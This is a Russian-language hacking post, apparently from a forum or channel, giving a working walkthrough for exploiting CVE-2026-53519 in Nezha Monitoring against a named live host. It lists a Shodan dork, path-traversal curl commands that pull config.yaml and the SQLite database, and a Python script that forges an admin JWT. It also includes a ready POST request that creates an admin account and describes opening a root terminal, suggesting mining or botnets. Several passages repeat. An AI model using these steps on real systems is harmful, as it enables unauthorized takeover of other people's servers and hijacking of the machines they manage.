Не удалось прогрузить медиа
Приветствую всех читателей, хотел бы поговорить о такой уязвимости как CVE-2026-53519, свежая, вышла 2 дня назад (12 июня)
CVE-2026-53519 - что это?
CVE-2026-53519 - свежая уязвимость в Nezha Monitoring
Это pre-auth path traversal / arbitrary file read: в версиях до 2.0.13 обработчик dashboard некорректно проверяет путь, из-за чего неаутентифицированный пользователь может добиться выдачи файла конфигурации, включая /data/config.yaml. В описаниях указывается, что там может быть jwt_secret_key, то есть утечка может привести к компрометации сессий/секретов
CVE-2026-53519 - свежая уязвимость в Nezha Monitoring
Это pre-auth path traversal / arbitrary file read: в версиях до 2.0.13 обработчик dashboard некорректно проверяет путь, из-за чего неаутентифицированный пользователь может добиться выдачи файла конфигурации, включая /data/config.yaml. В описаниях указывается, что там может быть jwt_secret_key, то есть утечка может привести к компрометации сессий/секретов
Nezha Monitoring - это
это open-source система для мониторинга серверов и сайтов, которую можно развернуть у себя. Она состоит из Dashboard и Agent: агент ставится на серверы, а dashboard показывает состояние и отправляет уведомления
это open-source система для мониторинга серверов и сайтов, которую можно развернуть у себя. Она состоит из Dashboard и Agent: агент ставится на серверы, а dashboard показывает состояние и отправляет уведомления
С чем имеем дело думаю поняли, на вид обычная панель для мониторинга, но хранит в себе многое, давайте же начинать к эксплуатировать!
1. Поиск уязвимых хостов
Способов довольно много, но самый легкий и понятный это через поисковик Shodan
достаточно ввести дорк http.title:"Nezha Monitoring", и у нас целых 5362 потенциально уязвимых хоста!!
Не удалось прогрузить медиа
Взял я для примера хост 152.89.106.9, и буду в дальнейшем эксплуатировать именно его
2. path traversal
С хостом определились, а дальше как действовать? Дальше с помощью path traversal будем собирать данные из конфигов
Сам запрос выглядит так "dashboard../data/config.yaml" с хостом будет выглядеть так
Не удалось прогрузить медиа
Тут нам нужны данные такие как jwt_secret_key
3. Эксплуатация
Переходим теперь к эксплуатации, заходим на нашу машину с которой будем атаковать таргет, и пишем следующие команды
export BASE='хост'
export JWT_SECRET='токен'
с моим хостом и токеном выглядит это так
export BASE='http://152.89.106.9:10000'
export JWT_SECRET='utCYdrfIivkQtLXAELi4yNKj0q....'
Не удалось прогрузить медиа
После этого проверяем снова уязвим ли наш таргет с помощью
curl -i --path-as-is "$BASE/dashboard../data/config.yaml"
Если вывел данные с конфига то идем дальше
Следующей командой достаем sqlite базу и читаем внутри запросы
curl -sS --path-as-is "$BASE/dashboard../data/sqlite.db" -o /tmp/nezha.db
sqlite3 /tmp/nezha.db '.tables'
sqlite3 -header -column /tmp/nezha.db "select id, username, role from users;"
Не удалось прогрузить медиа
Затем создаем поддельный JWT-TOKEN
export ADMIN_ID='1'
сюда вставляем айди админа с базы в моем же случае 1
export CLAIM_IP=''
В v2.0.12 Nezha в identityHandler делает так: берёт claims["user_id"].(string), потом берёт claims["ip"].(string), и затем сравнивает ip из токена с текущим RealIP запроса. Если хотя бы одно не совпало - пользователь не авторизуется.
Но часто в конфиге нет web_real_ip_header, и тогда Nezha в этой версии кладёт в claim ip пустую строку
Теперь с помощью скрипта генерируем JWT-Token для авторизации в панели
Python:
TOKEN=$(
python3 - <<'PY'
import os, time, jwt
now = int(time.time())
claims = {
"user_id": str(os.environ["ADMIN_ID"]),
"ip": os.environ["CLAIM_IP"],
"iat": now,
"nbf": now - 5,
"exp": now + 900,
}
print(jwt.encode(
claims,
os.environ["JWT_SECRET"],
algorithm="HS256"
))
PY
)
echo "$TOKEN"
Не удалось прогрузить медиа
И затем с помощью команды проверяем проходит ли наш токен авторизацию
curl -sk \
-H "Cookie: nz-jwt=$TOKEN" \
"$BASE/api/v1/profile"
Не удалось прогрузить медиа
И как видим данные успешно вывелись, а значит токен проходит авторизацию
4. Закрепление
Дальше у нас два варианта войти в панель админа
1) Сбрутить хеш (bcrypt)
Минусы: Возможно будет долгим из-за алгоритма хеша, может не сбрутиться парль
Плюсы: Меньше палева
2) Создать нового пользователя
Минусы: Больше палева
Плюсы: Не придется ждать и с 100% вероятностью попадете в админку
Я же воспользуюсь вторым вариантом чтобы не ждать и не надеяться на удачу
Для удобства я буду использовать burp suite закидываем наш запрос в repeater
Вместо GET запроса отправляем POST /api/v1/user
Дальше подставляем наш JWT-Token сгенерированный
Cookie: nz-jwt=сюда_токен
И в тело подставляем запрос для создания нового пользователя (пароль должен быть минимум 7 символов)
Итого запрос будет выглядеть так
Отправляем запрос и создаем нового пользователя
И как видим пользователь успешно создался теперь можем зайти в панель по пути http://152.89.106.9:10000/dashboard/login
Мы успешно авторизовались в панели теперь вопрос как управлять VPS серверами для этого нажми на три точки и Terminal
Открылось отдельное окно с терминалом в который вы можете вводить команды от имени суперпользователя
Что с этим делать думаю вы дальше разберетесь
от себя могу лишь дать идею: майнинг или для ботнета
Спасибо всем кто прочитал данную статью, надеюсь она была полезна для вас!
Кошелек кто захочет поддержать
BTC - bc1qsxyflw6t0esq4kdhckzs4wslycqs6js07gyr57
4. Закрепление
Дальше у нас два варианта войти в панель админа
1) Сбрутить хеш (bcrypt)
Минусы: Возможно будет долгим из-за алгоритма хеша, может не сбрутиться парль
Плюсы: Меньше палева
2) Создать нового пользователя
Минусы: Больше палева
Плюсы: Не придется ждать и с 100% вероятностью попадете в админку
Я же воспользуюсь вторым вариантом чтобы не ждать и не надеяться на удачу
Для удобства я буду использовать burp suite закидываем наш запрос в repeater
Не удалось прогрузить медиа
Вместо GET запроса отправляем POST /api/v1/user
Дальше подставляем наш JWT-Token сгенерированный
Cookie: nz-jwt=сюда_токен
И в тело подставляем запрос для создания нового пользователя (пароль должен быть минимум 7 символов)
Code:
{
"username": "admin1",
"password": "pass123!",
"role": 0
}
Итого запрос будет выглядеть так
Code:
POST /api/v1/userHTTP/1.1
Host: 152.89.106.9:10000
Cookie: nz-jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiMSIsImlwIjoiIiwiaWF0IjoxNzgxNDY3NTY2LCJuYmYiOjE3ODE0Njc1NjEsImV4cCI6MTc4MTQ2ODQ2Nn0.fSx_6pZIobJCgt1al5kdLOf3pNwpKhMlpYv4W9GSZK4
Accept-Language: ru-RU,ru;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: application/json
{
"username": "admin1",
"password": "pass123!",
"role": 0
}
Не удалось прогрузить медиа
Отправляем запрос и создаем нового пользователя
Не удалось прогрузить медиа
И как видим пользователь успешно создался теперь можем зайти в панель по пути http://152.89.106.9:10000/dashboard/login
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Мы успешно авторизовались в панели теперь вопрос как управлять VPS серверами для этого нажми на три точки и Terminal
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Открылось отдельное окно с терминалом в который вы можете вводить команды от имени суперпользователя
Не удалось прогрузить медиа
Что с этим делать думаю вы дальше разберетесь
от себя могу лишь дать идею: майнинг или для ботнета
Спасибо всем кто прочитал данную статью, надеюсь она была полезна для вас!
Кошелек кто захочет поддержать
BTC - bc1qsxyflw6t0esq4kdhckzs4wslycqs6js07gyr57
👍43
🤔16
😢9
💯7
LIMB